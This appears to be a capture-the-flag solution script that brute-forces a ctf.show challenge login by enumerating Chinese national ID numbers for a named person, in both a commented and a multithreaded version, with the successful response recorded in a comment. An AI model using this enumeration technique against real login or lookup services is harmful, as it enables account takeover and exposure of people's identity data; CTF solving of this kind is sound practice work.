#
#
# import requests
#
# url="http://28d3ae05-bc7c-4a4b-8601-b6f6c089c880.challenge.ctf.show/info/checkdb.php"
# for i in range(89,92):
#     for j in range(1,12):
#         for k in range(1,31):
#             tmp=f"62102219{str(i)}{str(j).zfill(2)}{str(k).zfill(2)}5237"
#             exp={"a":"高先伊","p":tmp}
#             a1=requests.post(url,data=exp).text
#             if "error" not in a1:
#                 print(tmp)
#                 print(a1)
#
# #{"0":"success","msg":"\u606d\u559c\u60a8\uff0c\u60a8\u5df2\u88ab\u6211\u6821\u5f55\u53d6\uff0c\u4f60\u7684\u5b66\u53f7\u4e3a02015237 \u521d\u59cb\u5bc6\u7801\u4e3a\u8eab\u4efd\u8bc1\u53f7\u7801"}
# #
# #恭喜您，您已被我校录取，你的学号为02015237 初始密码为身份证号码

import requests
from concurrent.futures import ThreadPoolExecutor

url = "http://28d3ae05-bc7c-4a4b-8601-b6f6c089c880.challenge.ctf.show/info/checkdb.php"

def check_card(card_number):
    exp = {"a": "高先伊", "p": card_number}
    response = requests.post(url, data=exp).text
    if "error" not in response:
        print(card_number)
        print(response)

def generate_card_numbers():
    card_numbers = []
    for i in range(89, 92):
        for j in range(1, 12):
            for k in range(1, 31):
                card_number = f"62102219{str(i)}{str(j).zfill(2)}{str(k).zfill(2)}5237"
                card_numbers.append(card_number)
    return card_numbers

def main():
    card_numbers = generate_card_numbers()
    with ThreadPoolExecutor(max_workers=10) as executor:
        executor.map(check_card, card_numbers)

if __name__ == "__main__":
    main()
